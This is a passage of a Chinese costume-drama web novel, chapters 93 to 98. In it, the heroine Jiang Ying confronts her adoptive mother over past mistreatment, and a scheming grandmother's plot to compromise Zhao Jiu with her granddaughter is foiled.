然而才伸出手,都还没碰到女童的衣裳,就被仆婢抱到一边儿。
顿时,嚎啕哭声响起。
梦境四分五裂。
“姑娘,姑娘?该起了。”香薷柔声道。
姜璎翻了个身,蒙住脑袋,试图回忆母亲的长相,还有大父大母。
但最终还是因为想不起一点儿而作罢。
等用过早膳,去王氏房里,恰好卯正时分。
王氏才服了药,让仆婢开窗通风,免得一屋子药味儿。
看见姜璎过来,她脸上浮现笑容,夸道:“还好昨日你去找了阿郑,要不然,阿劫恐怕又少不了一顿训。”
息妇不好言说公爹的不是,她也只能委婉劝说:“阿池,你让阿劫稍微压一压脾气,不必理会那边儿……”
话未说完,外头丫鬟禀报。
“夫人,老夫人派人过来传话,说请了永安侯夫人入府做客,商议张姑娘的婚事。若夫人身子不便,可以让二夫人和姑娘过去作陪。”
屋内安静片刻。
王氏忍耐下来,对辛夷道:“让阿郑过去一趟。”
“我也去吧。”
姜璎主动起身,“既是长辈发话,我也没什么其他要紧事,去一趟也无妨。”
王氏道:“也好。”
有郑氏在场,想来也不会让姜璎受委屈。
两人带了仆婢一同前往客院。
赵老夫人看见她们自是没什么好脸色,问郑氏道:“琼华的嫁妆单子,你整理的怎么样了?”
第93章 亲戚
她不提这个还好,一提起,郑氏就一肚子的火。
“侄媳正要跟姑母禀报此事,既然刘夫人也在,我便多嘴一句,不知这婚期定在了什么时候?”
赵老夫人也在和刘氏商议此事。
早前商量的是九月定亲,十月出嫁,结果永安侯府好死不死得罪了赵陆两家。
姜承祁原本板上钉钉的袭爵资格也跟着不翼而飞。
明惠帝和赵咎这对舅甥的关系能好到穿一条裤子,自然一个鼻孔出气,他不点头,就算姜承祁是嫡长子,也能以“无德”为由驳回袭爵。
当然,还是陆家再强硬一点,永安侯府的爵位都怕是保不住。
张琼华心疼未婚夫,赵老夫人也不想外孙女嫁给一个没有袭爵资格的嫡长子,今日让刘氏过来,就是想把这事儿给解决了。
赵老夫人不冷不热道:“婚期左不过就是九十月里,也没几个月了,该准备的你都准备怎么样了?”
郑氏心中冷笑,嘴上道:“侄媳到底年轻,许多事儿还需要姑母拿主意。毕竟张姑娘是吴郡张氏的嫡出,不论是从哪边儿出嫁,嫁妆上都不好含糊。”
“侄媳过来问问,也是想知道张氏那边是个什么章程,这样心里有个数。”
姜璎跟在郑氏身边,暗想赵老夫人总不至于什么都交给郑氏吧?
时下流行厚嫁厚娶,但凡有点家底的人家,女儿出生就会开始准备嫁妆。
“想来吴郡张氏早就给张姑娘打好了家具金饰,只不知道什么时候运过来?”
三言两语,就让张琼华面红耳赤,恨不得钻到地里。
原因无他,张琼华父母不合多年,只得她一个女儿,虽名为嫡出,却并不受宠。
尤其是母亲过世三月,父亲便续弦了陆氏的女儿,她在家里不至于受苦,但也跟个隐形人没什么两样。
至于嫁妆……父亲对母亲定下的这门亲事颇有微词,顶多一些银钱陪嫁,至于其他,是不可能了。
赵老夫人生性强势,管天管地,唯独管不了前女婿嫁女,毕竟论理来说,张琼华是张家的女儿。
朱家妯娌看不上张琼华,也不乐意替她操办婚事,至于掏私房补贴嫁妆,那更是想都别想!
家里闹了一通,赵老夫人教几个媳妇气得不轻,却又无可奈何。当下再怎么推崇孝道,也没有婆母逼迫儿媳掏私房的道理。
赵老夫人这才想到娘家,干脆带着孙女和外孙女一起在卫国公府住下。
这样一来,既可以给张琼华筹备婚事,又方便帮朱季灵相看人家,简直就是一举两得!
郑氏一番话,不仅让张琼华颜面尽失,也让赵老夫人下不来台。
她面色一沉,怒斥道:“你是琼华的舅母,让你做点事儿,不是推三阻四就是明嘲暗讽,像什么样子!”
郑氏气笑了,赵老妪还知道她只是舅母?不知道的还以为她是张琼华的亲娘!
“姑母,吴郡张氏要是没人了,我这就禀明公爹,只要公爹发话,就是让我把公中的财产都拿出来给张姑娘作陪嫁,我也是毫无二话的!”
“你——!”
刘氏见状,连忙打圆场道:“这嫁妆不嫁妆的,都是小事儿,我们家看中的是琼华这个人,老夫人莫要动怒,保重身体才是最要紧的。”
刘氏没想到张琼华在张家竟是这么的不受宠,连嫁妆都如此寒酸!说句难听的,这跟上卫国公府来打秋风又有什么区别?
要不是还需要赵老夫人从中说和,她还真看不上张琼华这个丧母长女。
姜璎悄悄拉了一下郑氏,提醒她收着点,现下还是他们占理,但要是把赵老夫人气晕过去,那就是没错也是错了。
郑氏拉不下脸服软,赵老妪算什么东西,也配对她指手画脚?
倒是刘氏,看见姜璎和郑氏如此亲近,心里说不出是什么滋味。
“阿池,你这些日子……可还好?”她没忍住问了一句。
周遭忽然安静下来。
赵老夫人皱了皱眉,冷哼一声道:“阿刘,你这个养女可是好大本事,也不知道哪里学来的狐
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媚手段,把九郎笼络得死死的,什么好东西都搜罗给她。”
“老夫人,我说过好多次了,这玉佩是梁女君所赠,与赵九郎君无关。”姜璎道,没有注意到刘氏眼中一闪而过的异色。
那日之后,刘氏特意让人给娘家送了信去,想知道梁女君母亲袁若漪到底是谁,这梁氏凭什么敢这样嚣张?!
结果刘氏母亲一听自家女儿竟然得罪了梁女君,当场吓的面色惨白,只好把自己出身讲了一遍,又一笔带过梁女君的生父。
最后在信里千叮咛万嘱咐,一定要向梁女君好生赔罪,恭恭敬敬,不可逾矩。
小袁氏和袁若漪虽同为庶出,可庶出之间也是有区别的。
袁若漪的母亲好歹是正儿八经的妾室,小袁氏的母亲却只是服侍主君的婢女,母亲的身份决定了子女的地位,这也是为什么袁若漪有资格做长姐的媵妾,而小袁氏只能嫁到彭城刘氏做填房的原因。
当然,以她的身份,能做填房也已经很不错了。
刘氏没想到梁女君的来头这么大,或许,她应该称呼她为表姐?
这么说来,姜璎还是汝南袁氏的遗孤?
难怪,难怪阿池和阿宝的眉眼会有几分相似!
原来她们本就是亲戚!
想到这,刘氏心中懊悔不已。
她若是早知道姜璎的身世,又岂会给她下药,逼她嫁给常六郎!
真是一步错,步步错。
赵老夫人哪里听得进去姜璎的解释,在她看来,梁氏就是个下不出蛋的老母鸡!也不知道使了什么手段,竟然让陆二郎死心塌地守着她一个。
刘氏讪笑道:“老夫人,您怕是误会了,阿池是我从小养到大的,她本性单纯,和赵九郎之间也是恪守本分……”
这番话可谓是出乎所有人的意料。
赵老夫人不免有些恼火。
刘氏到底是哪一边儿的?
“阿刘,你可别忘了,要不是你这单纯的养女,承祁现在已经是永安侯世子了。”赵老夫人皮笑肉不笑。
第94章 弥补
刘氏面色一僵,赵老夫人的话戳到了她的痛脚。
若是换做之前,她一定会因此生出怨恨,把一切都怪罪到姜璎头上,气恼怎么养出这么一个白眼狼来。
但自从大病一场后,刘氏忽然想开了许多。
家里三个孩子,姜璎是最孝顺懂事的一个,只是因为他们觉得不是亲生的,便一直待她多了一层隔阂。
这孩子心知肚明,却从未心生怨怼。
刘氏每每想到这,就忍不住要落泪。
阿宝回来以后,她为了证明自己这些年心里只有亲生女儿,可以说是一味地冷落姜璎。
有些时候,甚至明明知道阿宝刻意刁难姜璎,也依旧视而不见。
她愧对女儿,想要弥补,便在察觉到阿宝心思的那一刻,毫不犹豫地把姜璎推了出来。
任由那个对自己满是依赖孺慕的孩子,成为阿宝的撒气筒、发泄口。
刘氏没有一日是不悔的,悔得肝肠寸断,悲痛欲绝。
她当初为什么要把事情做得那么绝呢?
她亲手杀**姜璎,那个本该在她膝下尽孝的女儿。
如今姜璎有了新的家人,再也不需要她,她却开始挠心挠肝地难受,见不得一点姜璎对别人好。
明明姜璎曾经最依赖的人是她啊!
刘氏口苦不已,原本应邀而来,就是想着商量祁儿的婚事,如果可以的话,最好能再见见姜璎。
结果没想到赵老夫人说话如此刻薄。
“之前的事,我也有做的不对的地方。一碗水没端平,既洒了水,又摔了碗。”
“俗话说得好,覆水难收,玉碎难全,事到如今,我也不能只怪这碗不够结实。”
刘氏苦笑一声。
倒是让姜璎有些意外地看了她一眼。
久违的酸楚涌上心头,又渐渐被释然取代,一时心绪复杂,如鲠在喉。
这样明理的话,要是早一点听到,该多好。
赵老夫人冷笑一声,阴阳怪气道:“什么一碗水端平,这偏心自己生的,天经地义,是个人都挑不出错来!”
“也就你心肠软,让捡来的跟亲生的争宠,如今白眼狼反咬家里一口,你倒还怪起自己来了。”
刘氏下意识看了姜璎一眼。
她静静地站在郑氏身边,眼神中藏着一种复杂的情绪,像极了小时候想要亲近自己,又不敢过来的模样。
刘氏心中酸涩难忍,掐了掐手心才忍住泪意,语气不软不硬道:“我们家的私事儿,就不劳老夫人操心了。还是两个孩子的婚事要紧。”
赵老夫人眼中一闪而过怒气。
这个刘氏到底知不知道,现在是他们永安侯府有求于人,竟然还敢忤逆她?!
真当她的外孙女嫁不出去了,非姜承祁不可吗?
张琼华生怕得罪未来婆母,忙拉了拉赵老夫人的衣袖,“大母。”
郑氏乐得看了一场笑话,这不是狗咬狗是什么?
不过,她也没想到,刘氏竟然愿意为了姜璎和赵老妪顶嘴。
难道,她想用苦肉计来打动姜璎?
也不是不可能。
谁让姜璎这孩子心软呢。
郑氏哼了一声,恨铁不成钢的眼神,让姜璎有点摸不着头脑,她做错什么了吗?
赵老夫人心里不痛快,但看在外孙女的面子上还是忍了下来。
想着刘氏这病歪歪的样子,恐怕也没多少活头了,这要是哪天说死就死,姜承祁还要守孝,岂不是白白耽误张琼华?
这样一想,赵老夫人发话道:“阿郑,你回头让阿王同大郎说一声,我们卫国公府眼看着要和永安侯府成亲家了,之前的事儿该过去就过去,别斤斤计较拎着不放!”
“九郎年纪轻不懂事,难道你们这些做哥哥嫂子的,也要跟他一起胡闹不成?”
赵老夫人以为是赵咎从中作梗,目的就是给姜璎出气。
仅凭这一点,就足以让她对面前这个妖里妖气,惹得家宅不宁的小丫头片子,没有半点好感!
更不要说,赵老夫人还存了把最疼爱的孙女许给赵咎的心思。
在她看来,侄子的不听话,都是教狐媚子给唆使的。
“姑母说笑了,跟永安侯府结亲的是吴郡张氏,跟咱们卫国公府有什么干系?”
郑氏微微一哂,张琼华要是个
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安分守己的,卫国公府也不介意多个亲戚,但她打从到这第一天,便各种惹是生非,不仅和姜璎过不去,还对王氏指手画脚,话里话外说她们不孝。
她没收拾她,已经很给赵老妪面子了。
如今还蹬鼻子上脸,真是给脸不要脸!
“至于九郎,他素来恪守本分,纯良无比,从不轻易与人结仇。姑母可不能听信他人谗言,误会自己的嫡亲侄子。”
就是就是。
一旁的姜璎下意识跟着点头。
郑氏眼见赵老夫人面色铁青,笑了一下,继而慢条斯理道:“姜大公子未能袭爵,跟我们九郎可没有半点关系。”
“姑母,您是不知道,先前陆二夫人设宴款待……”
“都是误会!都是误会……”刘氏慌忙打断,面色僵硬难看,笑得十分勉强。
那是她这辈子最后悔的一件事,没有之一!
如果不是她纵容阿宝犯错,也不会闹到那个地步,甚至还因为得罪梁女君而牵连家里。
教郑氏这么一说,刘氏是再无半点脸面留在此处了,借口身体不适,提出告辞。
“阿池……”她看向姜璎,欲言又止。
姜璎心中暗叹,主动道:“刘夫人,我送你。”
郑氏微微挑眉。
这傻孩子不会真的心软了吧?
姜璎不知道郑氏心中所想,她送刘氏出去,一方面是不想再看赵老夫人脸色,另一方面也怕自己表现的太过无情,又让赵老夫人她们找到由头去卫国公面前说事。
刘氏看着身边的女孩,如果是以前,她一定会搀扶自己……
刘氏强忍下心酸,小心翼翼问道:“阿池,你在卫国公府,是不是也不太好过?”
姜璎正走神呢,听到这话,一时半会没能反应过来。
“什么?”
这副模样恰恰印证了刘氏心中的猜测,她忍不住道:“你尚未成亲,就住在卫国公府,少不得要吃他们脸色,还不如回家,你的嫁妆,我也已经让人准备得差不多……”
“阿池,我不求你原谅,但你能不能给阿娘一个弥补错误的机会?”刘氏哀求道。
第95章 坏水
弥补。
姜璎在心里轻轻地咀嚼着这两个字。
她实在有些不明白,既困惑又无奈,“你们为什么非要弥补我呢?本就算不上一家人,大家不相闻问,各奔前程,岂不是更好?”
“怎么不是一家人?”说到这个,刘氏的情绪一下子激动起来,眼泪也是说流就流,“阿池,你是我看着长大的啊……”
又开始了。
反反复复永远都是这几句话。
姜璎烦不胜烦,问了个毫不相关的问题:“刘夫人,那日姨母打你,疼吗?”
刘氏愣怔原地,似乎没想到姜璎还会关心她,泪水止不住地滚落。
“我……不疼,没事儿,阿娘没事儿。”她高兴地语无伦次。
却只换来姜璎轻飘飘的一句反问。
“是吗?”
平静的神色就像一泼冷水,将刘氏浇了个透心凉。
她嗫嚅着唇,心中隐隐不安。
姜璎轻叹一声。
“两记耳光,不疼是假的。可要说很疼,怕是比不上你们施加在我身上的伤害。”
姜璎不是斤斤计较的性子,也做不出翻旧账的事儿,可他们老是这样翻来覆去地陈诉旧情,实在惹人厌倦。
一定要她把话说得足够难听吗?
“姜宝瑜没有回来之前,无论是侍奉双亲,还是关怀兄长,我都做的无可指摘。这是我应该做的,我没有任何怨言
哪怕她要在兼顾琴棋书画、刺绣点茶的同时服侍好刘氏,日日学习药理为家人调养身体,寒冬酷暑无一日轻松,她也是心甘情愿。
“可是姜宝瑜回来之后,所做的桩桩件件的事情,无一不是恶意羞辱,想置我于死地。”
“她回来的第一个月,刚入冬,一句手滑,便将我推进池子,害我险些溺死。你们让我别计较,然后为了哄姜宝瑜高兴,让我把她房间里的每一块地板擦的干干净净。”
姜璎轻声道:“我浑身滚烫,整个人浑浑沉沉,那个时候,你怎么不想我是你看着长大的呢?”
刘氏满含哀求,想要解释,“我……”
“这只是小事。”姜璎点了点头,又继续道,“姜宝瑜回来的第二个月,哭着说姜承祁给她买的一方松烟墨不见了,好巧不巧,在我房里找到。”
“你们问也不问,便定我罪,罚我禁闭柴房饿上两天两夜。深更半夜的时候,姜宝瑜带了饭菜过来,笑意盈盈问我想不想吃。”
“她说想吃的话,跪在地上,狗怎么叫,我便怎么叫,只要叫的好听,我就可以吃饭。”
“不要说了,不要说了。”刘氏泣不成声,“阿池,我不知道……”
姜璎不理她,自顾自道:“我不肯,她便摔了碗碟,汤汤水水撒一地。
她要我饿到极致,失去理智,像狗一样匍匐在地舔光地上的所有饭粒。”
姜璎轻声道:“我没偷,也不愿做狗,我不明白自己究竟做错什么,缘何饿晕醒来,就要被姜承祁怒斥死不认错,扮演苦肉计?”
“诸如此类,数不胜数。”
“刘夫人,我虽非你亲生,可我也是人,会饿,会累,会冷,会疼,甚至会死……”她盯着刘氏的眼睛,一字一句道,“你说我是你养大的,可为什么,你要送我**?”
刘氏心神一震,含泪摇头,“不、不是这样的……”
姜璎摇了摇头,“你不愿意承认偏心,不爱我,又不肯放过我。说到底,你只是不甘心。”
“没有!没有!不是这样的!”刘氏紧紧抓住姜璎的手,哭着道,“阿娘知道错了,你是个好孩子,又懂事又贴心,阿娘不是不爱你,只是……”
只是以前习惯了一味索取,不止是她,永安侯,姜承祁,他们都心安理得地享受着姜璎的好。
好像她天生就该逆来顺受、默默付出。
姜璎没有说话。
其实当时花轿里,她已经认命,甚至给自己洗脑,就当是偿还永安侯府的恩情。
不论嫁到将军府是个什么下场,她都接受,最坏的结果也不过一死。
但是赵咎出现了。
他带她出囚笼,破茧成蝶,重获新生。
姜璎推开刘氏的手,“就像你说的,覆水难收,玉碎难
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全,就不要再妄想我同从前一般,乖顺地做一个提线木偶了。”
“阿池!”
香薷香附等人立刻上前隔开刘氏,不允许她再靠近姜璎半步。
香附看了一眼周围的下人,“刘夫人身体不适,你们还不快快搀扶她回永安侯府?”
刘氏身边的贴身仆婢如今哪里敢得罪姜璎?大气都不敢喘一声,好声好气哄着刘氏,将她半扶半抱上了牛车。
姜璎折返时,郑氏刚好从客院出来,看见她,半开玩笑道:“我可忙不迭就来找你了,生怕晚一步,教刘氏把你拐跑,到时候阿劫问我要未过门的媳妇,我交不出来,这个家还不得被他拆了!”
姜璎的脸一点一点染上红晕,如旭日初升时的云彩。
“不会拐跑的。”她哼哧哼哧道,“二嫂,你不要打趣我。”
“好好好。”郑氏笑眯眯应道,她说的可是真心话,要是姜璎心软跟刘氏跑了,让赵老妪逮着机会把朱季灵塞给赵咎,那她真是哭都没地方哭了。
这不,郑氏应付了赵老夫人,就赶紧来找姜璎了。
姜璎问:“老夫人没有不高兴吗?”
“你这些日子什么时候见她高兴过?”郑氏哼笑道,拉着那老长一张脸,摆的架子比赵太后还要足!不知道的还以为卫国公府是她当家作主!
“不提这些个晦气东西,走,今儿去我那用膳,我让厨房捞了几尾鱼,到时候给你做鱼脍。”
郑氏今日借着嫁妆一事让赵老夫人下不来台,把人气个半死,自己倒是痛快了。
客院。
赵老夫人面色阴晴不定,张琼华眼眶通红,低声道:“都是我不好,连累大母为**心,还白白受了这等帮闲气!”
朱季灵没吭声。
张琼华看了她一眼,又道:“若是国公爷肯想办法促成九郎君和季灵的亲事,想必世子夫人她们也不敢这样轻视大母。”
提到这个赵老夫人就一肚子气,咬牙切齿道:“兄长推脱好几次……”
张琼华道:“那,有没有什么办法,能让国公爷推脱不了?”
第96章 帮扶
周遭忽然安静下来。
赵老夫人阴着一张脸,多年的养尊处优令她养成了高高在上的习惯,本以为这次回了娘家,能摆摆长辈的款儿,谁知道这几个侄子侄媳都是面上恭敬!
赵咎更是不像话,竟然会为了个狐媚子同她顶嘴!
赵老夫人每每想起便怒从心起,她活了这么些年岁,何曾受过这等委屈?
奈何赵咨等人明里暗里维护,不压着赵咎来给她磕头认错,反而让她想开一些,莫要同晚辈计较!
简直可笑!
这天底下竟然还有长辈受晚辈气的道理?
赵老夫人气恼但又无可奈何。
好不容易等到卫国公回来,想让兄长做主,定下赵咎和朱季灵的亲事。
结果遭到卫国公一口拒绝!
朱季灵既非长房嫡出,又无父兄帮衬,唯一偏爱她的赵老夫人还是个蛮不讲理的。
卫国公再怎么不喜幼子,也不至于给他定下这种婚事。
更何况,宫中已经下了赐婚诏书。
卫国公比谁都了解自己女儿脾气,他要是敢把朱季灵强塞给赵咎,赵太后第二日就能下旨把赵老夫人送回朱家!
“赵咎和季灵丫头不合适。”
赵老夫人想起卫国公的推脱之词,便心中暗恨。
当年她看中了朱家大郎,兄长也是这么一句话。
不帮她也就罢了,还各种阻挠泼冷水,说人家已经和嫡亲表妹定下婚约,何必棒打鸳鸯?
什么鸳鸯!
不过就是个破落户的女儿!哪里比得上她分毫?
赵老夫人身为父母膝下唯一的女儿,向来要风得风、要雨得雨,自然接受不了心上人的拒绝。
她不惜一切代价毁了朱家大郎和表妹的亲事,又自毁名节,同人有了肌肤之亲,最后如愿以偿嫁到了朱氏。
赵老夫人眼中划过一抹阴狠。
她想要做的事情,就没有不成的!
更何况,这是赵家欠她的!
要是当初卫国公肯答应把她的女儿送进宫,说不定也能生下一儿半女。做不成太后,难道还不能当个王太妃?她的女儿也不至于嫁到张氏早早亡故!
如今朱家逐渐没落,子孙不成器,赵家作为姻亲,自然得帮扶一二!
“大母?”
赵老夫人轻轻拍了拍朱季灵的手,“琼华说的对,大母会想个法子,让卫国公府推脱不了,然后风风光光迎娶你过门。”
*
蓼莪院。
听到归南说赵老夫人花银钱打点下人,赵咎微微一哂,嘴角流露一丝讥讽。
前世血淋淋的教训至今历历在目,他又怎么可能不做半点准备?
派去客院伺候的下人都是签了死契的家生子,赵老妪的一举一动,都在他的掌控之中。
归南没想到赵老夫人会出这种主意,心中暗暗咂舌。
好歹也是高门贵女出身,怎么会如此……简直不达目的誓不罢休啊!
“九郎,这事儿要告诉国公吗?”
“不用。”
赵咎轻嗤一声,告诉老头子有什么用?顶多就是训斥几句,又没有实质性的伤害,他难道还会因为这点小手脚而杀了亲妹妹?
赵咎吩咐道:“不用管,随便他们怎么做。”
最好是把事情闹大。
闹得越大越好。
到时候,看卫国公还有什么脸面指责他。
归南应下,又道:“还有一件事……如九郎所料,听说她想尽办法搭上了本家嫡系,还差点哄的二房的小郎君要娶她为妻。”
“她那种人,去哪里都不会安分的。”赵咎淡淡道。
“可不是。”归南满脸认同,只可惜野心用错了地方,要不然,就凭这股子钻营的劲儿,做什么不成呢?
“姑娘来啦!”外头响起仆婢的声音,其中一人暗戳戳告状,“姑娘来的正好,邢医官今日开了药方子,九郎怎么都不肯吃。”
“啊,这怎么能行?”
听到这句话。
赵咎立马给了归南一个眼神,示意他把边上的那碗药喝了。
归南:“……”
怎么好事轮不到,倒霉事跟没长眼似的往他身上跑?
赵咎催促:“快喝!”
归南深吸一口气,端起药碗,一副视死如归的表情。
然后下一刻,立马转身大叫。
“姑娘!你来的正好!属下还有要事,这碗药就拜托姑娘了。”他把药碗交到姜璎手中,郑重其事道,“一定要监督九郎服用啊!”
说完,人影如风,立刻消失原地。
赵咎:“……”
这是什么畜生行径?!
姜璎呆呆捧着碗,和赵咎四目相对。
“……我正要喝来着。”赵咎面色不大自然,实际心里默默给归南记了一笔。
“那现在喝吧。”
姜璎听他这么说,忙把碗递过去,递到一半想起赵咎伤口还没恢复完全,又缩了回去,“还是我喂你吧。”
汤匙送到赵咎嘴边,还未入口就险些被刺鼻的苦味熏吐。
他默默屏住呼吸,忍痛放弃姜璎的主动亲近。
握住药碗,闭眼一口饮尽。
难喝,怎么会有这么难喝的药……
灵魂都要扭曲了。
赵咎努力维持着脸上的平静。
姜璎脱口而出道:“好厉害!”
赵咎:“?”
姜璎还是第一次见人喝药跟喝水一样干脆利索的。
以前在永安侯府,别说刘氏,就是姜承祁这么一个年轻郎君,生了病,都不大愿意吃药。
有此对比,姜璎越发觉得赵咎身上优点闪闪发光。
她真心实意夸赞道:“赵九郎君,你好厉害!”
赵咎努力压住嘴角,语气轻描淡写。
“喝个药而已,没怎么大不了的,我又不会像其他人那样扭捏娇气。”
“你信不信,我还能再喝十碗。”
外头的赵咨赵哲:“……”
受不了了!
这不值钱的样子,真是没眼看!
两人没有听墙角的癖好,对视一眼默默离开了。
晚点再来。
“不用喝那么多。”姜璎忍俊不禁,给赵咎倒了杯水。
他接了过去,抿了一口,想起刚才得到的消息,沉吟片刻:“阿池,有件事,你要做好心理准备。”
“怎么了?”
“姜宝瑜过不了多久要回来了。”
一句话如平地惊雷。
姜璎好半天没能反应过来。
第97章 清白
姜宝瑜要回来了。
这个念头深深扎根脑海,如烧不尽的野草,反反复复,时时刻刻提醒着姜璎之前发生的事情。
她心中杂念乱成一团,不愿深想,下意识地逃避这一切,此刻如梦初醒,发现自己的手被赵咎紧紧握着。
“阿池。”
他静静地看着她,似乎看穿了一切。
深埋心底的懦弱、恐惧、怨恨,在这一刻无处遁形。
她想起来赵咎之前说过的话,他说:“她就算不回来,我也会想办法把她弄回来。”
“所以,赵九郎君,”姜璎第一次挣开他的手,声音有些不平稳,“是你让她回来的,对吗?”
“没有。”赵咎语速很快,又皱了皱眉。“我虽然派人暗中盯着她,但只是为了掌握她的一举一动。”
“如今消息传来,姜宝瑜借天水姜氏本家嫡系的手,摆脱了看管她的人,或许再过不久就要回盛京。”
“这句话的意思是,姜宝瑜有了新的靠山?”
赵咎不答反问:“你很怕她吗?”
是,很怕。
虽然姜宝瑜回来永安侯府的时间不足一年,但她的所作所为,让姜璎的身心留下了不可磨灭的伤痕。
姜璎捏紧了手心,“她能接触到天水姜氏的人,是因为你的默许放纵,甚至一力促成,我说的对吗?”
“你在怪我?”
“……没有。”
姜璎想,她好像也没有资格责怪赵咎。
懦弱的是她,毫无反抗能力的也是她。
难道就因为习惯了躲在人身后,就可以把别人的庇护当作理所应当吗?
“对不起”三个字到了嘴边,却怎么都说不出口。
她忽然有些委屈,又忍不住开始反思自己。
她是不是太恃宠而骄了一点?
姜璎不知道该怎么面对赵咎,低着头道:“对不起,我该回去了……”
话音终止的那一刹那。
赵咎掀开被衾,丝毫不顾及动作太大拉扯到伤口,三两步走到姜璎面前。
“对不起?你做了什么对不起我的事?”
“我……”一句话堵得姜璎说不出话来。
赵咎握住她的肩膀,眼神认真道:“阿池,你可以怪我,但你不能怀疑我。”
“我承认我促成了这件事,但我只有一个目的。”
那就是——
姜宝瑜必须死。
他要她声名狼藉地嫁给常六,然后死在将军府。
姜璎上辈子所经历的一切,她都得全都尝一遍。
“可……”
“没必要怕她。”赵咎道,眼眸深深注视着面前的人,姜璎在他眼里看见自己的倒影。
她低声说出心里话,“可是,我控制不住。”
那种阴影挥之不去,伴随着姜宝瑜的每一次出现,带给她阴冷而战栗的恐惧。
“她再怎么颠倒黑白,也只能骗骗外面的人,你看盛京之中,谁还会相信她一句话?”
赵咎低头,鼻尖蹭了蹭她的脸颊。
声音温柔而缓慢。
“她算什么东西,阴沟里的老鼠,腐肉中的臭蛆,靠着一张花言巧语的嘴,掉两滴眼泪,就扭曲了事实。”
“你要让她成为你一辈子的阴影吗?”
姜璎沮丧道:“我不知道该怎么做……”
“你什么都不用做,就看着她,如何被自己那张嘴一步一步反噬,直到自食恶果。”
听到这,姜璎的凤眼不由微微睁圆。
呆气的模样,可爱得不行。
赵咎没忍住亲了亲她的眼皮。
“想不想看姜宝瑜满口谎言被揭穿的下场?”
“想,但是……”
“没有但是。”赵咎语气强硬,说不出的霸道。
这是姜璎的心病,若是不能彻底解决,只会越埋越深,直至伤口溃烂成一块腐肉。
碰不得、难愈合。
“这事儿算说开了吗?”赵咎问,“还有没有什么想知道的?我们今天一起解决,别憋在心里。”
姜璎摇了摇头,“没有……”
赵咎道:“那好,我们来算一算刚才的账。”
什么刚才的账?
姜璎的眼睛一下子睁大了,结结巴巴道:“不、不是已经结束了吗?”
赵咎瞥她一眼:“谁跟你结束了?”
“我问你,刚才为什么要迁怒我?不分青红皂白,不问前因后果,就冤枉我帮了姜宝瑜。”
“你没有帮吗?”
“没有!”赵咎矢口否认,“我只是看着她行事,并未加以阻止,这只能说是冷眼旁观,算什么帮?”
他越说越理直气壮,语带谴责道:“你因为姜宝瑜迁怒我,甚至不愿意听我解释,遇到问题第一反应就是逃避。”
“姜璎,你觉得这样合适吗?”
“对我公平吗?”
一句又一句,把姜璎砸的晕头转向。
甚至有种自己是个正在被审判的罪人的错觉。
赵咎已经占据道德至高点,严肃道:“我什么都给你了,我的人,我的爱,还有我这干净的身体,里里外外,全都打上了你的烙印。”
“你还怀疑我!”
“不是……没有……”姜璎试图辩解,但赵咎目光如炬,让她生出了一丝心虚,“好吧,我的错。”
赵咎尤不满意,只勉强接受了她的认错态度。
“还有一件事。”
“什么?”姜璎现在听到这话,就忍不住头皮发麻。
“赵老妪想让孙女勾引我,破坏我的清白。”赵咎肃容道,“你现在的任务,就是保护好我。”
“……”
姜璎被这一个接一个的消息炸麻了。
脑子都险些不会思考,全凭本能,张口道:“你受伤了,她怎么勾引你?”
赵咎不满道:“受伤怎么了?我伤得是胸口又不是脸。”
“她勾引我,是我吃亏好不好?”
“要是像你上次那样,把我摁在床上亲,我可一点儿反抗能力都没有,只能任由你欺负……”
姜璎一把捂住他的嘴,“好了不要说了。”
赵咎含糊不清道:“那你要保护我啊。”
姜璎叹了口气,“知道了。”
赵咎轻哼道:“听这语气,好像很不乐意的样子。”
姜璎坚决不承认:“……你听错了。”
临近傍晚,晚霞满天。
赵咎换了药,穿上柔软的牙白色单衣,清瘦而结实的身材在衣衫下若隐若现,再配上这张无可挑剔的俊脸,确实可以称一句“秀色可餐”。
难怪遭人惦记。
姜璎道:“我留在这里,那你呢?”
“我当然是去书房,要不然留在这里,岂不是让他们计谋得逞?”
“好吧。”姜璎干巴巴道。
赵咎离开之后,屋里的灯也跟着一盏盏熄灭,这让姜璎愈发紧张。
整个人恨不得在被衾里缩成一团。
不要过来,千万不要过来!
第98章 夫唱
上天没有听见姜璎的祈祷。
她和衣而卧,面壁思过,为了显得更逼真一些,身后还塞了一个隐囊。
不知过了多久,天色彻底暗沉,房门外响起一串轻微而慌乱的脚步声。
仆婢低着头,“朱姑娘,趁九郎还没醒,您快进去吧。”
她收了赵老夫人的赏赐,自然“尽心尽力”。
素锻斗篷下,露出一张俏生生的脸蛋,不是朱季灵又是谁?
她咬了咬唇,心里头是一万个抗拒,甚至有种打退堂鼓的冲动。
哪个好人家的女儿会像她这样,为达目的自毁清白?她怎么说也是朱家的嫡女,又不是没人要了……内心挣扎一瞬,又被仆婢打断。
“朱姑娘,老夫人他们还有一刻钟就到了,您可不能再继续耽搁下去了。”
是啊,既然都走到这儿了,还有什么可犹豫的呢?
祖母也说了,这种招数虽然上不得台面,可胜算却大。一旦成了,卫国公肯定会让赵咎娶她为妻,到时候,她就是姐妹里头的独一份。
就算是大堂姐,也没有她嫁的好。
想到这,朱季灵的眼神逐渐坚定,轻轻推开了门。
嘎吱——
姜璎心跳如擂,背对着闭紧双眼,心里不断默背着《道德经》。
这要是被发现,得多尴尬啊……
她忍不住脚趾蜷缩。
隔着一面屏风,朱季灵同样紧张得不行。
她知道赵咎受了伤,她也没想做什么,但到底是孤男寡女共处一室,心里没由来一阵慌张。
按照赵老夫人所说,她得脱了衣裙,爬上赵咎的床榻。
这样一来,就算什么都没做,她的清白也毁得差不多了。
卫国公若是诘责,她就把一切推到赵咎头上,就说是小叔让人领她过来的!左右她没了清白,事实如何又有谁会在意?
她一定要嫁给小叔!
她要成为像王氏、郑氏那样的贵夫人!
暗室之中,姜璎听见了衣衫摩擦掉落的声音,她一下子绷直了后背,屏息敛神。
看似镇定,实际上灵魂已经飘到了半空……
“小叔。”低柔的声音随着淡淡的脂粉香一同而来。
朱季灵吞了吞口水,脱的只剩下一件单衣,又是紧张又是羞怯。
屋内漆黑一片,没有半盏烛灯。
她慢慢靠近床榻,生怕把人惊醒。
就在这时,外头响起一阵喧闹声响,是赵老夫人带着人来了!
朱季灵心中顿慌,脚下一个趔趄,眼看整个人就要摔到床上。
被衾下忽然伸出一双手,托了她一把。
这应该是一个贴心暧昧的动作。
但朱季灵却在第一时间察觉出了不对!
她死死看着面前的人,一颗心沉进海底,脸色煞白,血液倒流直冲脑门,恨不得整个人昏死过去才好!
怎么是她?
怎么会是她?!
